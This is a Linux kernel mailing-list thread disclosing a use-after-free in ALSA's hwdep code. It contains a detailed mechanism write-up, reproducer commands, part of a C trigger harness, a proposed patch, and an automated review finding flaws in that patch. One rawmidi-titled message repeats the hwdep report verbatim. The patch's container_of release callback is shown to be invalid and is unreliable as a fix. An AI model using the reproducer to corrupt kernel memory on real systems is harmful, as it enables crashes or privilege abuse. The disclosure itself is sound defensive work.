2026-12-01 12:00 ` 徐晗翔
1 sibling, 0 replies; 101+ messages in thread
From: sashiko-bot @ 2026-12-01 4:42 UTC (permalink / raw)
To: 徐晗翔; +Cc: linux-sound
Thank you for your contribution! Sashiko AI review found 6 potential
issues to consider:
- [High] ALSA: hwdep: invalid container_of() on dev pointer in
snd_hwdep_dev_release()
- [High] ALSA: hwdep: UAF of private_data and dangling ops after
snd_hwdep_free()
- [High] ALSA: hwdep: missing Signed-off-by trailer in commit message
- [Medium] ALSA: hwdep: memory leak of hwdep in snd_hwdep_new() on
device alloc failure
- [Medium] ALSA: hwdep: unlocked get_device() race after lookup in
snd_hwdep_open()
- [Medium] ALSA: hwdep: missing device disconnect check in
snd_hwdep_open() retry loop
--
commit c91a81d33c679fad4b88ac880eb3238645faac83
Author: 徐晗翔 <xuhx@hust.edu.cn>
> ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF)
>
> An ALSA sub-driver that registers devices on a live card -- here the
> emux wavetable drivers (snd_emu10k1_synth / snd_emu8000_synth) behind
> the sequencer device framework -- removes its hwdep device with
> snd_device_free() on its own remove path. That synchronously runs
> snd_hwdep_dev_disconnect() -- which only briefly takes register_mutex
> and hwdep->open_mutex, wakes the open waiters, unregisters the minor
> and drops off the registry, without waiting for hw->used to drop and
> without replacing any file->f_op -- and then snd_hwdep_free() kfree()s
> struct snd_hwdep. Every open /dev/snd/hwC*D* fd keeps
> file->private_data pointing at the freed object: in-flight ioctls
> dereference it (hw->ops, hwdep.c:251-252), a close() runs
> snd_hwdep_release() on it (hw->card->module read, mutex_lock on the
> freed open_mutex, hw->used--), and a future open() fails with -ENODEV
> while the dangling fd stays armed. We reproduced both shapes on
> vanilla 7.3: a deterministic variant (hold an fd across the sub-driver
> free, then ioctl+close) hit six distinct use-after-free reports inside
> snd_hwdep_release() (+0x2b the hw->card->module read, +0x4e/+0x5a the
> freed open_mutex, +0x80 used--, +0x9b/+0xb3 wake_up), and an in-flight
> variant (ioctl hammer racing the free) produced 119 reports
> (snd_hwdep_ioctl+0x11f reading hw->ops, snd_emux_hwdep_ioctl+0x73
> walking hw->private_data into the freed emux). The sequencer device
> framework holds no module reference for bound devices and the hwdep
> f_ops owner is the ALSA core module, so `rmmod snd_emu10k1_synth` is
> not blocked by the open fd. Removing the sub-driver requires root;
> holding and using the fd needs no privilege.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
> -- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM
> x86_64 guest. The emux/sequencer/virmidi code is the byte-identical
> in-tree modules (built from an unmodified tree with a config variant
> that only adds SND_EMU10K1/SND_SYNTH_EMUX/SND_SEQ_* as modules);
> sound/core/hwdep.c and sound/synth/emux/* are byte-identical to
> mainline 7.3; line numbers below are from 7.3.
>
> * Mechanism
>
> - Open side holds no lifetime guarantee for the object:
> snd_hwdep_open() pins the card (sound.c:111) and the card module
> (hwdep.c:88) only; the emux hwdep registers no ops.open/release
> (emux_hwdep.c:126-129), so opening pins no sub-driver module at
> all; success stores file->private_data = hw (hwdep.c:132) and the
> f_ops owner is the ALSA core module, so the fd outlives any
> module unload.
>
> - Remove side is synchronous and does not drain:
> snd_emux_delete_hwdep() (emux_hwdep.c:147) -> snd_device_free()
> -> __snd_device_free() -> snd_hwdep_dev_disconnect()
> (hwdep.c:455-473: register_mutex + open_mutex held only briefly,
> wake_up(open_wait), minor unregistered, list_del_init) and then
> snd_hwdep_free() -> kfree(hwdep) (hwdep.c:346). There is no wait
> for hw->used == 0, no f_op swap, no cancelation point.
>
> - Whole-card removal triggers the same free chain nested inside
> snd_device_disconnect_all() (the seq device's device_del()
> synchronously unbinds the sub-driver, whose remove calls the same
> snd_device_free()); there snd_card_disconnect() has already
> swapped file->f_op to the dummy shutdown ops, so only syscalls
> that are already in flight (past the f_op dispatch) can hit the
> freed object -- a narrower but real window, and it happens before
> the "wait until all files are closed" barrier runs.
>
> - An open() parked inside its retry loop (hwdep.c:116-118: unlock ->
> schedule -> relock) is woken by the disconnect and then takes the
> mutex / reads hw->card->shutdown on the freed object; with
> exclusive==1 but used==0 (the emux hwdep registers no ops.open)
> the loop can even complete successfully on the disconnected,
> about-to-be-freed device.
>
> * Trigger model
>
> Two parts, both reachable on a soundfont-capable card
> (emu10k1/emu8000 with the snd-emux-synth sub-driver loaded):
>
> - the unprivileged part: open /dev/snd/hwC*D2 and use it (the
> exclusive flag limits concurrent openers, not lifetime);
>
> - the privileged part: `rmmod snd_emu10k1_synth` (or sysfs
> unbind) while that fd is open or an ioctl is in flight.
>
> Consequence: use-after-free reads/writes on struct snd_hwdep
> (including mutex_lock() on the freed open_mutex and an
> hw->ops.ioctl function-pointer load), plus a second-order UAF into
> the freed emux private data.
>
> * Reproducer (attached: synthrace.c, fwmr_test.c) and results on 7.3
>
> synthrace.c registers a REAL emux on a virtual card through the
> exported emux API with exactly the snd_emu10k1_synth_probe/remove()
> shape (snd_emux_new -> ops -> snd_emux_register creating the real
> /dev/snd/hwC0D0; snd_emux_free() is the sub-driver remove body).
> Zero kernel source modification. fwmr_test.c is the userspace
> side.
>
> # controlled/deterministic (fd held across the free):
> insmod synthrace.ko
> ./fwmr_test mr02hold 4 & # open, probe, hold, then ioctl+close
> sleep 2
> echo 1 > /sys/module/synthrace/parameters/free # snd_emux_free()
> # in-flight variant:
> ./fwmr_test mr02hammer 20000 & # ioctl hammer
> sleep 2
> echo 1 > /sys/module/synthrace/parameters/free
>
> Results (7.3, 2 vCPU, KASAN):
>
> - deterministic hold: first close after the free reports
> slab-use-after-free at snd_hwdep_release+0x2b/0x4e/0x5a/0x80/
> 0x9b/0xb3 (six distinct accesses on one close);
>
> - in-flight hammer: 119 reports -- snd_hwdep_ioctl+0x11f
> (hw->ops read) x60 and snd_emux_hwdep_ioctl+0x73 x59; reopen
> after the free returns -ENODEV as expected.
>
> * Suggested patch
>
> Anchor struct snd_hwdep's lifetime on its embedded device: a custom
> release callback performs the kfree(), every open file takes
> get_device(hw->dev) and every release path puts it back, and
> snd_hwdep_free() only drops the card/registry reference (the
> private_free ordering is deliberately unchanged). The complete
> patch against 7.3 follows (also kept as patch/0001-fw-mr02.patch);
> happy to rework per review.
>
> ---- patch begins ----
[Severity: High]
The commit message is missing a Signed-off-by trailer and still contains
the "---- patch begins ----" separator line.
> diff --git a/sound/core/hwdep.c b/sound/core/hwdep.c
> index fb9034897c561..eebb1328b100b 100644
> --- a/sound/core/hwdep.c
> +++ b/sound/core/hwdep.c
> @@ -84,8 +84,10 @@ static int snd_hwdep_open(struct inode *inode, struct file * file)
> return -ENXIO;
> if (hw == NULL)
> return -ENODEV;
> + get_device(hw->dev);
[Severity: Medium]
Can hw be freed before get_device(hw->dev) runs here?
snd_lookup_minor_data() (and snd_lookup_oss_minor_data()) takes a
reference only on card->card_dev and drops sound_mutex before returning
hw. Pinning card_dev does not block snd_device_free(card, hwdep) on a
live card:
CPU0 CPU1
snd_hwdep_open()
snd_lookup_minor_data()
lock(&sound_mutex)
get_device(&card->card_dev)
unlock(&sound_mutex)
snd_device_free(card, hwdep)
snd_hwdep_dev_disconnect()
snd_hwdep_free()
put_device(hwdep->dev)
get_device(hw->dev) <-- use-after-free
In addition, if snd_hwdep_open() sleeps in its retry loop and is woken by
snd_hwdep_dev_disconnect() during sub-driver removal on a live card,
hw->card->shutdown is still 0:
sound/core/hwdep.c:snd_hwdep_open() {
...
set_current_state(TASK_INTERRUPTIBLE);
mutex_unlock(&hw->open_mutex);
schedule();
mutex_lock(&hw->open_mutex);
if (hw->card->shutdown) {
err = -ENODEV;
break;
}
...
}
Because the loop never checks under hw->open_mutex whether the hwdep
device itself was disconnected (for example via list_empty(&hw->list)),
open() can proceed and succeed on the disconnected device.
[ ... ]
> @@ -337,6 +342,18 @@ static const struct file_operations snd_hwdep_f_ops = {
> .mmap = snd_hwdep_mmap,
> };
>
> +/*
> + * The struct snd_hwdep memory itself is freed by the embedded device's
> + * release callback once the last reference (an open file) is dropped;
> + * snd_hwdep_free() only drops the card/registry reference.
> + */
> +static void snd_hwdep_dev_release(struct device *dev)
> +{
> + struct snd_hwdep *hwdep = container_of(dev, struct snd_hwdep, dev);
> +
> + kfree(hwdep);
> +}
[Severity: High]
Does container_of(dev, struct snd_hwdep, dev) compile or compute a valid
pointer here?
Since 897c8882df58 ("ALSA: hwdep: Don't embed device"), struct snd_hwdep
is no longer embedded around struct device:
include/sound/hwdep.h:struct snd_hwdep {
...
void *private_data;
void (*private_free) (struct snd_hwdep *hwdep);
struct device *dev;
...
};
Because struct snd_hwdep::dev is a struct device * allocated separately by
snd_device_alloc(), container_of() fails its pointer-type static_assert at
build time. Even if cast around, subtracting offsetof(struct snd_hwdep,
dev) from the standalone struct device pointer passes a bogus address to
kfree(), while overwriting default_release_alloc in hwdep->dev->release
leaks both the struct device and struct snd_hwdep allocations.
> static void snd_hwdep_free(struct snd_hwdep *hwdep)
> {
> if (!hwdep)
> @@ -344,7 +361,6 @@ static void snd_hwdep_free(struct snd_hwdep *hwdep)
> if (hwdep->private_free)
> hwdep->private_free(hwdep);
> put_device(hwdep->dev);
> - kfree(hwdep);
> }
[Severity: High]
Even if struct snd_hwdep itself stays allocated until the last file closes,
does this still leave hw->private_data and hw->ops exposed to
use-after-free on open files?
When a sub-driver calls snd_device_free(card, hwdep) on a live card,
snd_hwdep_dev_disconnect() does not swap file->f_op or drain in-flight
operations, and snd_hwdep_free() immediately runs hwdep->private_free()
and returns to the caller:
sound/synth/emux/emux.c:snd_emux_free() {
...
snd_emux_delete_hwdep(emu);
snd_sf_free(emu->sflist);
kfree(emu->voices);
kfree_const(emu->name);
kfree(emu);
...
}
Any in-flight or subsequent ioctl(), read(), write(), poll(), mmap(), or
release() on an existing fd still dispatches through hw->ops (such as
snd_emux_hwdep_ioctl()), dereferencing the freed hw->private_data (emu) or
calling into unloaded sub-driver module text.
> /**
> @@ -392,6 +408,7 @@ int snd_hwdep_new(struct snd_card *card, char *id, int device,
> snd_hwdep_free(hwdep);
> return err;
> }
> + hwdep->dev->release = snd_hwdep_dev_release;
[Severity: Medium]
Does the snd_device_alloc() error path right above this leak hwdep?
When snd_device_alloc(&hwdep->dev, card) fails, hwdep->dev is NULL.
Because kfree(hwdep) was removed from snd_hwdep_free(), calling
snd_hwdep_free(hwdep) calls put_device(NULL) and returns without freeing
hwdep.
--
Sashiko AI review · https://sashiko.dev/#/patchset/77e8810e.4497.1a22fdf6af5.Coremail.xuhx@hust.edu.cn?part=1
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF)
2026-12-01 4:31 ` ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF) 徐晗翔
2026-12-01 4:42 ` sashiko-bot
@ 2026-12-01 12:00 ` 徐晗翔
1 sibling, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:00 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
Update: still present in 7.4-rc5 -- snd_hwdep_free() still kfree()s
the struct with open fds holding it, and the same reproducer hits
immediately (28 reports in the deterministic hold variant and 109 in
the in-flight variant, same snd_hwdep_release/snd_hwdep_ioctl call
sites as originally reported).
Thanks.
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-12-01 12:31:40 (星期二)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF)
>
> An ALSA sub-driver that registers devices on a live card -- here the
> emux wavetable drivers (snd_emu10k1_synth / snd_emu8000_synth) behind
> the sequencer device framework -- removes its hwdep device with
> snd_device_free() on its own remove path. That synchronously runs
> snd_hwdep_dev_disconnect() -- which only briefly takes register_mutex
> and hwdep->open_mutex, wakes the open waiters, unregisters the minor
> and drops off the registry, without waiting for hw->used to drop and
> without replacing any file->f_op -- and then snd_hwdep_free() kfree()s
> struct snd_hwdep. Every open /dev/snd/hwC*D* fd keeps
> file->private_data pointing at the freed object: in-flight ioctls
> dereference it (hw->ops, hwdep.c:251-252), a close() runs
> snd_hwdep_release() on it (hw->card->module read, mutex_lock on the
> freed open_mutex, hw->used--), and a future open() fails with -ENODEV
> while the dangling fd stays armed. We reproduced both shapes on
> vanilla 7.3: a deterministic variant (hold an fd across the sub-driver
> free, then ioctl+close) hit six distinct use-after-free reports inside
> snd_hwdep_release() (+0x2b the hw->card->module read, +0x4e/+0x5a the
> freed open_mutex, +0x80 used--, +0x9b/+0xb3 wake_up), and an in-flight
> variant (ioctl hammer racing the free) produced 119 reports
> (snd_hwdep_ioctl+0x11f reading hw->ops, snd_emux_hwdep_ioctl+0x73
> walking hw->private_data into the freed emux). The sequencer device
> framework holds no module reference for bound devices and the hwdep
> f_ops owner is the ALSA core module, so `rmmod snd_emu10k1_synth` is
> not blocked by the open fd. Removing the sub-driver requires root;
> holding and using the fd needs no privilege.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
> -- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM
> x86_64 guest. The emux/sequencer/virmidi code is the byte-identical
> in-tree modules (built from an unmodified tree with a config variant
> that only adds SND_EMU10K1/SND_SYNTH_EMUX/SND_SEQ_* as modules);
> sound/core/hwdep.c and sound/synth/emux/* are byte-identical to
> mainline 7.3; line numbers below are from 7.3.
>
> * Mechanism
>
> - Open side holds no lifetime guarantee for the object:
> snd_hwdep_open() pins the card (sound.c:111) and the card module
> (hwdep.c:88) only; the emux hwdep registers no ops.open/release
> (emux_hwdep.c:126-129), so opening pins no sub-driver module at
> all; success stores file->private_data = hw (hwdep.c:132) and the
> f_ops owner is the ALSA core module, so the fd outlives any
> module unload.
>
> - Remove side is synchronous and does not drain:
> snd_emux_delete_hwdep() (emux_hwdep.c:147) -> snd_device_free()
> -> __snd_device_free() -> snd_hwdep_dev_disconnect()
> (hwdep.c:455-473: register_mutex + open_mutex held only briefly,
> wake_up(open_wait), minor unregistered, list_del_init) and then
> snd_hwdep_free() -> kfree(hwdep) (hwdep.c:346). There is no wait
> for hw->used == 0, no f_op swap, no cancelation point.
>
> - Whole-card removal triggers the same free chain nested inside
> snd_device_disconnect_all() (the seq device's device_del()
> synchronously unbinds the sub-driver, whose remove calls the same
> snd_device_free()); there snd_card_disconnect() has already
> swapped file->f_op to the dummy shutdown ops, so only syscalls
> that are already in flight (past the f_op dispatch) can hit the
> freed object -- a narrower but real window, and it happens before
> the "wait until all files are closed" barrier runs.
>
> - An open() parked inside its retry loop (hwdep.c:116-118: unlock ->
> schedule -> relock) is woken by the disconnect and then takes the
> mutex / reads hw->card->shutdown on the freed object; with
> exclusive==1 but used==0 (the emux hwdep registers no ops.open)
> the loop can even complete successfully on the disconnected,
> about-to-be-freed device.
>
> * Trigger model
>
> Two parts, both reachable on a soundfont-capable card
> (emu10k1/emu8000 with the snd-emux-synth sub-driver loaded):
>
> - the unprivileged part: open /dev/snd/hwC*D2 and use it (the
> exclusive flag limits concurrent openers, not lifetime);
>
> - the privileged part: `rmmod snd_emu10k1_synth` (or sysfs
> unbind) while that fd is open or an ioctl is in flight.
>
> Consequence: use-after-free reads/writes on struct snd_hwdep
> (including mutex_lock() on the freed open_mutex and an
> hw->ops.ioctl function-pointer load), plus a second-order UAF into
> the freed emux private data.
>
> * Reproducer (attached: synthrace.c, fwmr_test.c) and results on 7.3
>
> synthrace.c registers a REAL emux on a virtual card through the
> exported emux API with exactly the snd_emu10k1_synth_probe/remove()
> shape (snd_emux_new -> ops -> snd_emux_register creating the real
> /dev/snd/hwC0D0; snd_emux_free() is the sub-driver remove body).
> Zero kernel source modification. fwmr_test.c is the userspace
> side.
>
> # controlled/deterministic (fd held across the free):
> insmod synthrace.ko
> ./fwmr_test mr02hold 4 & # open, probe, hold, then ioctl+close
> sleep 2
> echo 1 > /sys/module/synthrace/parameters/free # snd_emux_free()
> # in-flight variant:
> ./fwmr_test mr02hammer 20000 & # ioctl hammer
> sleep 2
> echo 1 > /sys/module/synthrace/parameters/free
>
> Results (7.3, 2 vCPU, KASAN):
>
> - deterministic hold: first close after the free reports
> slab-use-after-free at snd_hwdep_release+0x2b/0x4e/0x5a/0x80/
> 0x9b/0xb3 (six distinct accesses on one close);
>
> - in-flight hammer: 119 reports -- snd_hwdep_ioctl+0x11f
> (hw->ops read) x60 and snd_emux_hwdep_ioctl+0x73 x59; reopen
> after the free returns -ENODEV as expected.
>
> * Suggested patch
>
> Anchor struct snd_hwdep's lifetime on its embedded device: a custom
> release callback performs the kfree(), every open file takes
> get_device(hw->dev) and every release path puts it back, and
> snd_hwdep_free() only drops the card/registry reference (the
> private_free ordering is deliberately unchanged). The complete
> patch against 7.3 follows (also kept as patch/0001-fw-mr02.patch);
> happy to rework per review.
>
> ---- patch begins ----
> ---
> --- a/sound/core/hwdep.c
> +++ b/sound/core/hwdep.c
> @@ -84,8 +84,10 @@
> return -ENXIO;
> if (hw == NULL)
> return -ENODEV;
> + get_device(hw->dev);
>
> if (!try_module_get(hw->card->module)) {
> + put_device(hw->dev);
> snd_card_unref(hw->card);
> return -ENODEV;
> }
> @@ -137,8 +139,10 @@
> }
> }
> mutex_unlock(&hw->open_mutex);
> - if (err < 0)
> + if (err < 0) {
> module_put(hw->card->module);
> + put_device(hw->dev);
> + }
> snd_card_unref(hw->card);
> return err;
> }
> @@ -159,6 +163,7 @@
>
> snd_card_file_remove(hw->card, file);
> module_put(mod);
> + put_device(hw->dev);
> return err;
> }
>
> @@ -336,6 +341,18 @@
> .mmap = snd_hwdep_mmap,
> };
>
> +/*
> + * The struct snd_hwdep memory itself is freed by the embedded device's
> + * release callback once the last reference (an open file) is dropped;
> + * snd_hwdep_free() only drops the card/registry reference.
> + */
> +static void snd_hwdep_dev_release(struct device *dev)
> +{
> + struct snd_hwdep *hwdep = container_of(dev, struct snd_hwdep, dev);
> +
> + kfree(hwdep);
> +}
> +
> static void snd_hwdep_free(struct snd_hwdep *hwdep)
> {
> if (!hwdep)
> @@ -343,7 +360,6 @@
> if (hwdep->private_free)
> hwdep->private_free(hwdep);
> put_device(hwdep->dev);
> - kfree(hwdep);
> }
>
> /**
> @@ -390,6 +406,7 @@
> snd_hwdep_free(hwdep);
> return err;
> }
> + hwdep->dev->release = snd_hwdep_dev_release;
>
> dev_set_name(hwdep->dev, "hwC%iD%i", card->number, device);
> #ifdef CONFIG_SND_OSSEMUL
> ---- patch ends ----
>
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread
* ALSA: rawmidi: struct snd_rawmidi and its substreams are kfree()d while open files, delayed close() and a queued highpri work item still use them (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (19 preceding siblings ...)
2026-12-01 4:31 ` ALSA: hwdep: struct snd_hwdep is kfree()d while open files, an in-flight ioctl and delayed close() still use it (UAF) 徐晗翔
@ 2026-12-01 4:32 ` 徐晗翔
2026-12-01 12:01 ` 徐晗翔
2026-12-01 4:33 ` ALSA: pcm: struct snd_pcm and its substreams are kfree()d while open fds and in-flight ioctls " 徐晗翔
` (20 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 4:32 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 7562 bytes --]
An ALSA sub-driver that registers devices on a live card -- here the
emux wavetable drivers (snd_emu10k1_synth / snd_emu8000_synth) behind
the sequencer device framework -- removes its hwdep device with
snd_device_free() on its own remove path. That synchronously runs
snd_hwdep_dev_disconnect() -- which only briefly takes register_mutex
and hwdep->open_mutex, wakes the open waiters, unregisters the minor
and drops off the registry, without waiting for hw->used to drop and
without replacing any file->f_op -- and then snd_hwdep_free() kfree()s
struct snd_hwdep. Every open /dev/snd/hwC*D* fd keeps
file->private_data pointing at the freed object: in-flight ioctls
dereference it (hw->ops, hwdep.c:251-252), a close() runs
snd_hwdep_release() on it (hw->card->module read, mutex_lock on the
freed open_mutex, hw->used--), and a future open() fails with -ENODEV
while the dangling fd stays armed. We reproduced both shapes on
vanilla 7.3: a deterministic variant (hold an fd across the sub-driver
free, then ioctl+close) hit six distinct use-after-free reports inside
snd_hwdep_release() (+0x2b the hw->card->module read, +0x4e/+0x5a the
freed open_mutex, +0x80 used--, +0x9b/+0xb3 wake_up), and an in-flight
variant (ioctl hammer racing the free) produced 119 reports
(snd_hwdep_ioctl+0x11f reading hw->ops, snd_emux_hwdep_ioctl+0x73
walking hw->private_data into the freed emux). The sequencer device
framework holds no module reference for bound devices and the hwdep
f_ops owner is the ALSA core module, so `rmmod snd_emu10k1_synth` is
not blocked by the open fd. Removing the sub-driver requires root;
holding and using the fd needs no privilege.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 release tarball, KASAN enabled, QEMU/KVM
x86_64 guest. The emux/sequencer/virmidi code is the byte-identical
in-tree modules (built from an unmodified tree with a config variant
that only adds SND_EMU10K1/SND_SYNTH_EMUX/SND_SEQ_* as modules);
sound/core/hwdep.c and sound/synth/emux/* are byte-identical to
mainline 7.3; line numbers below are from 7.3.
* Mechanism
- Open side holds no lifetime guarantee for the object:
snd_hwdep_open() pins the card (sound.c:111) and the card module
(hwdep.c:88) only; the emux hwdep registers no ops.open/release
(emux_hwdep.c:126-129), so opening pins no sub-driver module at
all; success stores file->private_data = hw (hwdep.c:132) and the
f_ops owner is the ALSA core module, so the fd outlives any
module unload.
- Remove side is synchronous and does not drain:
snd_emux_delete_hwdep() (emux_hwdep.c:147) -> snd_device_free()
-> __snd_device_free() -> snd_hwdep_dev_disconnect()
(hwdep.c:455-473: register_mutex + open_mutex held only briefly,
wake_up(open_wait), minor unregistered, list_del_init) and then
snd_hwdep_free() -> kfree(hwdep) (hwdep.c:346). There is no wait
for hw->used == 0, no f_op swap, no cancelation point.
- Whole-card removal triggers the same free chain nested inside
snd_device_disconnect_all() (the seq device's device_del()
synchronously unbinds the sub-driver, whose remove calls the same
snd_device_free()); there snd_card_disconnect() has already
swapped file->f_op to the dummy shutdown ops, so only syscalls
that are already in flight (past the f_op dispatch) can hit the
freed object -- a narrower but real window, and it happens before
the "wait until all files are closed" barrier runs.
- An open() parked inside its retry loop (hwdep.c:116-118: unlock ->
schedule -> relock) is woken by the disconnect and then takes the
mutex / reads hw->card->shutdown on the freed object; with
exclusive==1 but used==0 (the emux hwdep registers no ops.open)
the loop can even complete successfully on the disconnected,
about-to-be-freed device.
* Trigger model
Two parts, both reachable on a soundfont-capable card
(emu10k1/emu8000 with the snd-emux-synth sub-driver loaded):
- the unprivileged part: open /dev/snd/hwC*D2 and use it (the
exclusive flag limits concurrent openers, not lifetime);
- the privileged part: `rmmod snd_emu10k1_synth` (or sysfs
unbind) while that fd is open or an ioctl is in flight.
Consequence: use-after-free reads/writes on struct snd_hwdep
(including mutex_lock() on the freed open_mutex and an
hw->ops.ioctl function-pointer load), plus a second-order UAF into
the freed emux private data.
* Reproducer (attached: synthrace.c, fwmr_test.c) and results on 7.3
synthrace.c registers a REAL emux on a virtual card through the
exported emux API with exactly the snd_emu10k1_synth_probe/remove()
shape (snd_emux_new -> ops -> snd_emux_register creating the real
/dev/snd/hwC0D0; snd_emux_free() is the sub-driver remove body).
Zero kernel source modification. fwmr_test.c is the userspace
side.
# controlled/deterministic (fd held across the free):
insmod synthrace.ko
./fwmr_test mr02hold 4 & # open, probe, hold, then ioctl+close
sleep 2
echo 1 > /sys/module/synthrace/parameters/free # snd_emux_free()
# in-flight variant:
./fwmr_test mr02hammer 20000 & # ioctl hammer
sleep 2
echo 1 > /sys/module/synthrace/parameters/free
Results (7.3, 2 vCPU, KASAN):
- deterministic hold: first close after the free reports
slab-use-after-free at snd_hwdep_release+0x2b/0x4e/0x5a/0x80/
0x9b/0xb3 (six distinct accesses on one close);
- in-flight hammer: 119 reports -- snd_hwdep_ioctl+0x11f
(hw->ops read) x60 and snd_emux_hwdep_ioctl+0x73 x59; reopen
after the free returns -ENODEV as expected.
* Suggested patch
Anchor struct snd_hwdep's lifetime on its embedded device: a custom
release callback performs the kfree(), every open file takes
get_device(hw->dev) and every release path puts it back, and
snd_hwdep_free() only drops the card/registry reference (the
private_free ordering is deliberately unchanged). The complete
patch against 7.3 follows (also kept as patch/0001-fw-mr02.patch);
happy to rework per review.
---- patch begins ----
---
--- a/sound/core/hwdep.c
+++ b/sound/core/hwdep.c
@@ -84,8 +84,10 @@
return -ENXIO;
if (hw == NULL)
return -ENODEV;
+ get_device(hw->dev);
if (!try_module_get(hw->card->module)) {
+ put_device(hw->dev);
snd_card_unref(hw->card);
return -ENODEV;
}
@@ -137,8 +139,10 @@
}
}
mutex_unlock(&hw->open_mutex);
- if (err < 0)
+ if (err < 0) {
module_put(hw->card->module);
+ put_device(hw->dev);
+ }
snd_card_unref(hw->card);
return err;
}
@@ -159,6 +163,7 @@
snd_card_file_remove(hw->card, file);
module_put(mod);
+ put_device(hw->dev);
return err;
}
@@ -336,6 +341,18 @@
.mmap = snd_hwdep_mmap,
};
+static void snd_hwdep_dev_release(struct device *dev)
+{
+ struct snd_hwdep *hwdep = container_of(dev, struct snd_hwdep, dev);
+
+ kfree(hwdep);
+}
+
static void snd_hwdep_free(struct snd_hwdep *hwdep)
{
if (!hwdep)
@@ -343,7 +360,6 @@
if (hwdep->private_free)
hwdep->private_free(hwdep);
put_device(hwdep->dev);
- kfree(hwdep);
}
/**
@@ -390,6 +406,7 @@
snd_hwdep_free(hwdep);
return err;
}
+ hwdep->dev->release = snd_hwdep_dev_release;
dev_set_name(hwdep->dev, "hwC%iD%i", card->number, device);
#ifdef CONFIG_SND_OSSEMUL
---- patch ends ----
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: fwmr_test.c --]
[-- Type: text/plain, Size: 11633 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* fwmr_test.c - userspace driver for the sound/firewire FW-MR-* race
* verification harnesses (docs/manual-review-sound-firewire-2026-11-26.md).
*
* Plans:
* mr02hold [secs] - FW-MR-02 deterministic release-path variant: open
* /dev/snd/hwC0D0 (real snd_hwdep_open, used=1), read
* once, HOLD the fd across the kernel-side
* snd_emux_free() (host script triggers it), then
* ioctl + close on the freed hwdep -> real
* snd_hwdep_release() derefs freed hw (hw->card->module,
* mutex_lock(&hw->open_mutex), hw->used--).
* mr02hammer [iters] - FW-MR-02 in-flight variant (same shape as the
* synth report's mr03, re-attributed): open + ioctl
* hammer while the free runs on the other side.
* mr03midi [secs] - FW-MR-03: poll for /dev/snd/midiC0D0, open
* O_WRONLY|O_NONBLOCK (real snd_rawmidi_open ->
* snd_virmidi_output_open INIT_WORK), write MIDI bytes
* (real snd_rawmidi_output_trigger -> queue_work
* system_highpri_wq), HOLD across fw3_free, write
* again (in-flight work + write path on freed rmidi),
* close (snd_rawmidi_release on freed rmidi).
* mr04pcm [secs] - FW-MR-04: poll for /dev/snd/pcmC1D0p, open (real
* snd_pcm_open, ref_count=1), hammer
* SNDRV_PCM_IOCTL_PVERSION/PINFO, HOLD across fw4_free
* (snd_device_free(card, pcm)), ioctl + close on the
* freed substream/pcm (real snd_pcm_release path).
* mr01read [secs] - FW-MR-01 reader side: hammer
* SNDRV_CTL_IOCTL_ELEM_LIST + ELEM_INFO on
* /dev/snd/controlC0 while a dangling (freed but
* still-linked) jack kcontrol sits in card->controls.
* mr06storm [secs] - FW-MR-06 writer side: loop SNDRV_CTL_IOCTL_ELEM_ADD +
* ELEM_REMOVE of a user control with iface=CARD whose
* name is copied from an existing CARD control (same
* ctl_hash key as the jack controls the reconfig probe
* looks up locklessly in get_available_index()).
* waitdev <path> [timeout_ms] - poll until a device node appears.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"
static void waitdev(const char *path, int timeout_ms)
{
int waited = 0;
struct stat st;
while (stat(path, &st) != 0) {
if (waited >= timeout_ms)
return;
usleep(20000);
waited += 20;
}
}
/* ---- FW-MR-02 ---- */
static int plan_mr02hold(int secs)
{
int fd;
unsigned int ver = 0;
waitdev("/dev/snd/hwC0D0", 8000);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR02HOLD: fd open (hw->used=1), VERSION probe done\n");
fflush(stdout);
printf("MR02HOLD: holding fd for %ds (host frees emux now)\n", secs);
fflush(stdout);
sleep(secs);
printf("MR02HOLD: ioctl on freed hwdep (in snd_hwdep_ioctl path)\n");
fflush(stdout);
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
printf("MR02HOLD: closing -> real snd_hwdep_release() on freed hw\n");
fflush(stdout);
close(fd);
printf("MR02HOLD: reopen attempt (minor unregistered -> ENODEV)\n");
fflush(stdout);
close(open("/dev/snd/hwC0D0", O_RDWR));
